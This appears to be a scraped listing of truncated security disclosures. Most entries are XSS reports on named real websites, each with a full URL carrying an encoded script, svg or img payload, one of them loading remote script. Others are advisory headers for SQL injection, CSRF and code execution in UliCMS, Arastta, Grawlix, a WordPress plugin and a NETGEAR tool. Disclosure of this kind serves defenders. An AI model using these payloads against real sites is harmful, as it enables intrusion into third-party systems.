carris.transporteslisboa.pt XSS vulnerability

Vulnerable URL: http://carris.transporteslisboa.pt/pt/carreiras/pesquisa/?origem=%3Cscript%3Eprompt/XSSPOSED/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 21.09.2017 Latest check for patch:| 21.09.2017 14:43 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

testphp.vulnweb.com XSS vulnerability

Vulnerable URL: http://testphp.vulnweb.com/listproducts.php?cat=%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:42 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

mangasee.co XSS vulnerability

Vulnerable URL: http://mangasee.co/search.php?q=%22%3E%3Cscript%3Eprompt%28%2FXSSPOSED%2F%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:42 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

stagecoach.co.uk XSS vulnerability

Vulnerable URL: http://www.stagecoach.co.uk/search-results?location=%22%3E%3Cscript%3Eprompt%28%2FXSSPOSED%2F%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:42 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

anchoragebarassociation.org XSS vulnerability

Vulnerable URL: http://www.anchoragebarassociation.org/app/index.php/directory/all/alpha/%5C%22%3E%3Csvg%20onload=alert'XSSPOSED'%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:40 GMT Vulnerability type:| XSS Vulnerability status:|...

car.org XSS vulnerability

Vulnerable URL: http://www.car.org/sitesearch/?view=Search results Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:40 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 26192 Google Pagerank| 5 VIP website...

hwupgrade.it XSS vulnerability

Vulnerable URL: http://hwupgrade.it/search?action=search=0=0=%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 10.11.2017 Latest check for patch:| 10.11.2017 11:33 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

NETGEAR ProSafe Network Management System 300 Authenticated File Download

Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. The application has a file download vulnerability that can be exploited by an authenticated remote attacker to download any file in the system. This module has been tested with versions 1.5.0.2, 1.4.0.17 and...

UliCMS v9.8.1 - SQL Injection

UliCMS v9.8.1 - SQL Injection ============================================= MGC ALERT 2016-001 - Original release date: January 26, 2016 - Last revised: February 02, 2016 - Discovered by: Manuel García Cárdenas - Severity: 7,1/10 CVSS Base Score ============================================= I...

UliCMS 9.8.1 SQL Injection

============================================= MGC ALERT 2016-001 - Original release date: January 26, 2016 - Last revised: February 02, 2016 - Discovered by: Manuel García Cárdenas - Severity: 7,1/10 CVSS Base Score ============================================= I. VULNERABILITY...

UliCMS v9.8.1 - SQL Injection

============================================= MGC ALERT 2016-001 - Original release date: January 26, 2016 - Last revised: February 02, 2016 - Discovered by: Manuel García Cárdenas - Severity: 7,1/10 CVSS Base Score ============================================= I. VULNERABILITY...

indexkenya.org XSS vulnerability

Vulnerable URL: http://indexkenya.org/thesaurus.asp?alpha=s/search.asp?query=%3Cimg%20src=x%20onerror=alert%28String.fromCharCode%2888,83,83,80,79,83,69,68%29%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:32 GMT Vulnerability type:|...

jdmtackle.com XSS vulnerability

Vulnerable URL: http://www.jdmtackle.com/productsearch.php?keyword=%3Cscript%20src=https://xssposed.org/1.js%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:32 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

mijfilm.com XSS vulnerability

Vulnerable URL: http://www.mijfilm.com/contact Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:32 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 14626829 Google Pagerank| 4 VIP website status:| No Check...

WordPress Plugin Booking Calendar Contact Form 1.1.23 - Shortcode SQL Injection

Exploit Title: WordPress appointment-booking-calendar =1.1.23 - Shortcode SQL injection Date: 2016-01-24 Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/ Exploit Author: Joaquin Ramirez Martinez i0 security-lab Software Link:...

Arastta 1.1.5 - SQL Injection

Arastta 1.1.5 - SQL Injection Security Advisory - Curesec Research Team 1. Introduction Affected Product: Arastta 1.1.5 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://arastta.org/ Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 11/21/2015 Disclose...

Grawlix 1.0.3 Code Execution

Security Advisory - Curesec Research Team 1. Introduction Affected Product: Grawlix 1.0.3 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://www.getgrawlix.com/ Vulnerability Type: Code Execution Remote Exploitable: Yes Reported to vendor: 11/17/2015 Disclosed to public: 12/21/201...

Grawlix 1.0.3 Cross Site Request Forgery

Security Advisory - Curesec Research Team 1. Introduction Affected Product: Grawlix 1.0.3 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://www.getgrawlix.com/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 11/17/2015 Disclosed to public: 12/21/2015 Release...

Arastta 1.1.5 - SQL Injection Vulnerability

Exploit for php platform in category web applications Security Advisory - Curesec Research Team 1. Introduction Affected Product: Arastta 1.1.5 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://arastta.org/ Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to...

Grawlix 1.0.3 - Cross-Site Request Forgery

Grawlix 1.0.3 - Cross-Site Request Forgery Security Advisory - Curesec Research Team 1. Introduction Affected Product: Grawlix 1.0.3 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://www.getgrawlix.com/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 11/17/20...